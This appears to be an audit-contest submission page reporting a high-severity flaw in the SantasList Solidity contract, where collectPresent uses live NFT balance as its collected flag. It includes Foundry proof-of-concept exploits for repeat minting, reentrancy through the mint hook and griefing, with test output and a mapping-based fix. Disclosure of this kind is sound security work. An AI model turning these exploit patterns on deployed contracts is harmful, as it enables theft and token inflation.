Santa's List

AI First Flight #3
Beginner FriendlyFoundry
EXP
View results
Submission Details
Severity: high
Valid

`collectPresent` uses live NFT ownership as its already-collected flag — the gate is re-openable by the attacker and force-closable against a victim

Root + Impact

Description

The one-present-per-address rule is enforced by reading the caller's current ERC-721 balance (balanceOf(msg.sender) > 0) rather than recording a permanent collection state. Because live balance acts as the gate, it can be bypassed or abused in three distinct ways:
Cross-Transaction Bypass (Path A): An attacker collects the NFT, transfers it to a throwaway address, and calls collectPresent again repeatedly without limit.
Atomic Reentrancy (Path B): Inside the _safeMint receiver hook, a contract recipient transfers the token out and re-enters collectPresent within the same transaction to mint multiple NFTs.
Unsolicited Griefing / DoS (Path C): An attacker force-feeds an unwanted NFT to a legitimately graded user via transferFrom, trapping their collection rights and causing a permanent denial of service if the victim is a non-transferable contract.
if (balanceOf(msg.sender) > 0) {
revert SantasList__AlreadyCollected();
}

Risk

### Impact
Unauthorised, unbounded minting of both protocol assets.
A user Santa legitimately graded `EXTRA_NICE` is entitled to exactly 1 NFT and 1e18 `SantaToken`. In
the PoC she takes **10 NFTs and 10e18 SANTA in ten rounds — 90% of total token supply — with zero
capital and without deploying a contract.** The round count is bounded by her gas budget, not by the
protocol.
Via Path B, an attacker contract Santa never graded takes **20 NFTs in a single transaction**,
out-minting the entire honest allowlist five times over. Graded `EXTRA_NICE`, the same contract takes
20 NFTs and 20e18 SANTA in one transaction and ends holding **95% of total SANTA supply**.
`SantaToken` is the currency `buyPresent` consumes, so inflating it also debases the purchase path.
All mints are permanent and the contract is immutable.
Path C costs **28,724 gas to block an `EXTRA_NICE` user** from 1e18 SANTA they were owed. For an EOA
victim this is recoverable at 115,688 gas (transfer the junk NFT away, then collect), so that case is
griefing rather than loss — but it is repeatable against any victim indefinitely, and for a victim
that is a contract able to call `collectPresent` but with no ERC-721 outbound path, there is no
recovery.
The finding does not depend on H-01. Path A also runs from a never-graded address, but the PoC's
primary attacker is a legitimately graded user, so H-02 stands with H-01 fixed.

Proof of Concept

**Proof of Concept** — `test/Claude/F02_CollectedFlagBypass.t.sol`,
`F02_ReentrantCollector.t.sol`, `F02_GiftingNFTDoS.t.sol`
```bash
forge test --match-test test_F02 -vvv
```
```solidity
// Path A -- two plain calls per round, no contract, no callback, no reentrancy.
for (uint256 i = 0; i < rounds; i++) {
vm.startPrank(mallory);
list.collectPresent();
list.transferFrom(mallory, _sock(i), _lastTokenOf(address(list), mallory));
vm.stopPrank();
}
// Path B -- the same defect, atomically, from inside the mint hook.
function onERC721Received(address, address, uint256 tokenId, bytes calldata)
external returns (bytes4)
{
depth++;
list.transferFrom(address(this), stash, tokenId); // balanceOf(this) back to 0
if (depth < target) { list.collectPresent(); } // the :151 gate now passes again
return IERC721Receiver.onERC721Received.selector;
}
```
```
[PASS] test_F02_OneGradedUserMintsTenPresents()
Mallory's entitlement, NFTs: 1
NFTs she actually took: 10
Mallory's entitlement, SANTA (wei): 1000000000000000000
SANTA she actually holds (wei): 10000000000000000000
total SANTA supply (wei): 11000000000000000000
her share of total supply (%): 90
attacker capital required (wei): 0
contracts deployed by attacker: 0
[PASS] test_F02_Reentrant_ExtraNiceBranchInflatesTheTokenSupply()
transactions sent by attacker: 1
entitlement: NFTs / SANTA (wei): 1 1000000000000000000
taken: NFTs / SANTA (wei): 20 20000000000000000000
attacker share of total supply (%): 95
[PASS] test_F02_Reentrant_NaiveReentryWithoutTransferOutReverts()
re-entry WITHOUT transferring the token out: reverted AlreadyCollected
[PASS] test_F02_Gift_UnsolicitedTransferBlocksAGradedUser()
victim's grading: EXTRA_NICE, both lists
victim actions required: 0
victim consent required: none - transferFrom has no hook
SANTA the victim was owed (wei): 1000000000000000000
SANTA the victim received (wei): 0
attacker gas to block her: 28724
```

Recommended Mitigation

To permanently resolve this vulnerability, stop relying on live ERC-721 token balances as a proxy for collection status. Instead, implement a dedicated private mapping to explicitly track and persist whether an address has already claimed its present. This completely closes the transfer bypass, prevents atomic re-entry exploitation, and ensures that unsolicited incoming transfers cannot block legitimate users from collecting.
```diff
+ mapping(address => bool) private s_hasCollected;
function collectPresent() external {
if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) {
revert SantasList__NotChristmasYet();
}
- if (balanceOf(msg.sender) > 0) {
+ if (s_hasCollected[msg.sender]) {
revert SantasList__AlreadyCollected();
}
+ s_hasCollected[msg.sender] = true;
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] Any `NICE` or `EXTRA_NICE` user is able to call `collectPresent` function multiple times.

## Description `collectPresent` function is callable by any address, but the call will succeed only if the user is registered as `NICE` or `EXTRA_NICE` in SantasList contract. In order to prevent users to collect presents multiple times, the following check is implemented: ``` if (balanceOf(msg.sender) > 0) { revert SantasList__AlreadyCollected(); } ``` Nevertheless, there is an issue with this check. Users could send their newly minted NFTs to another wallet, allowing them to pass that check as `balanceOf(msg.sender)` will be `0` after transferring the NFT. ## Vulnerability Details Let's imagine a scenario where an `EXTRA_NICE` user wants to collect present when it is Christmas time. The user will call `collectPresent` function and will get 1 NFT and `1e18` SantaTokens. This user could now call `safetransferfrom` ERC-721 function in order to send the NFT to another wallet, while keeping SantaTokens on the same wallet (or send them as well, it doesn't matter). After that, it is possible to call `collectPresent` function again as ``balanceOf(msg.sender)` will be `0` again. ## Impact The impact of this vulnerability is HIGH as it allows any `NICE` user to mint as much NFTs as wanted, and it also allows any `EXTRA_NICE` user to mint as much NFTs and SantaTokens as desired. ## Proof of Concept The following tests shows that any `NICE` or `EXTRA_NICE` user is able to call `collectPresent` function again after transferring the newly minted NFT to another wallet. - In the case of `NICE` users, it will be possible to mint an infinity of NFTs, while transferring all of them in another wallet hold by the user. - In the case of `EXTRA_NICE` users, it will be possible to mint an infinity of NFTs and an infinity of SantaTokens. ``` function testExtraNiceCanCollectTwice() external { vm.startPrank(santa); // Santa checks twice the user as EXTRA_NICE santasList.checkList(user, SantasList.Status.EXTRA_NICE); santasList.checkTwice(user, SantasList.Status.EXTRA_NICE); vm.stopPrank(); // It is Christmas time! vm.warp(1_703_480_381); vm.startPrank(user); // User collects 1 NFT + 1e18 SantaToken santasList.collectPresent(); // User sends the minted NFT to another wallet santasList.safeTransferFrom(user, makeAddr("secondWallet"), 0); // User collect present again santasList.collectPresent(); vm.stopPrank(); // Users now owns 2e18 tokens, after calling 2 times collectPresent function successfully assertEq(santaToken.balanceOf(user), 2e18); } ``` ## Recommendations SantasList should implement in its storage a mapping to keep track of addresses which already collected present through `collectPresent` function. We could declare as a state variable : ``` mapping(address user => bool) private hasClaimed; ``` and then modify `collectPresent` function as follows: ``` function collectPresent() external { // use SantasList__AlreadyCollected custom error to save gas require(!hasClaimed[msg.sender], "user already collected present"); if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) { revert SantasList__NotChristmasYet(); } if (s_theListCheckedOnce[msg.sender] == Status.NICE && s_theListCheckedTwice[msg.sender] == Status.NICE) { _mintAndIncrement(); hasClaimed[msg.sender] = true; return; } else if ( s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE && s_theListCheckedTwice[msg.sender] == Status.EXTRA_NICE ) { _mintAndIncrement(); i_santaToken.mint(msg.sender); hasClaimed[msg.sender] = true; return; } revert SantasList__NotNice(); } ``` We just added a check that `hasClaimed[msg.sender]` is `false` to execute the rest of the function, while removing the check on `balanceOf`. Once present is collected, either for `NICE` or `EXTRA_NICE` people, we update `hasClaimed[msg.sender]` to `true`. This will prevent user to call `collectPresent` function. If you run the previous test with this new implementation, it wail fail with the error `user already collected present`. Here is a new test that checks the new implementation works as desired: ``` function testCorrectCollectPresentImpl() external { vm.startPrank(santa); // Santa checks twice the user as EXTRA_NICE santasList.checkList(user, SantasList.Status.EXTRA_NICE); santasList.checkTwice(user, SantasList.Status.EXTRA_NICE); vm.stopPrank(); // It is Christmas time! vm.warp(1_703_480_381); vm.startPrank(user); // User collects 1 NFT + 1e18 SantaToken santasList.collectPresent(); // User sends the minted NFT to another wallet santasList.safeTransferFrom(user, makeAddr("secondWallet"), 0); vm.expectRevert("user already collected present"); santasList.collectPresent(); vm.stopPrank(); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!